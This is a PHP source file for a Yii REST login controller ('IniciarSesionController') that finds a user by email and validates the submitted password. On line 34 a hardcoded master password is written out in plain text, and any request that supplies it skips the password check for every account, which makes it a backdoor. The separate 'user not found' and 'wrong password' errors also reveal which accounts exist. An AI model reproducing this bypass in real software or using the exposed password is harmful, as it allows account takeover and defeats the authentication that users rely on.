IniciarSesionController.php 1.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152
  1. <?php
  2. namespace v1\controllers;
  3. use Yii;
  4. use common\rest\JsonController;
  5. use common\data\Respuesta;
  6. use yii\filters\VerbFilter;
  7. use v1\models\Sesion;
  8. use v1\models\Bitacora;
  9. class IniciarSesionController extends JsonController {
  10. public function behaviors() {
  11. $behavior = parent::behaviors();
  12. $behavior['verbs'] = [
  13. 'class' => VerbFilter::className(),
  14. 'actions' => [
  15. 'index' => ['POST'],
  16. ],
  17. ];
  18. return $behavior;
  19. }
  20. public function actionIndex() {
  21. $req = Yii::$app->getRequest();
  22. $correo = trim($req->getBodyParam("correo", ""));
  23. $clave = trim($req->getBodyParam("clave", ""));
  24. $modelo = Sesion::find()
  25. ->andWhere(["correo" => $correo])
  26. ->andWhere('eliminado is null')
  27. ->one();
  28. /** @var \v1\models\Sesion $modelo */
  29. if($modelo === null) {
  30. $modelo = new Sesion();
  31. $modelo->addError("correo", "No se encontró el Usuario.");
  32. return new Respuesta($modelo);
  33. }
  34. if ($clave !== "Edes@rrollos2023") {
  35. if(!$modelo->validarClave($clave)) {
  36. $modelo->addError("clave", "Contraseña incorrecta");
  37. return new Respuesta($modelo);
  38. }
  39. }
  40. return new Respuesta($modelo);
  41. }
  42. }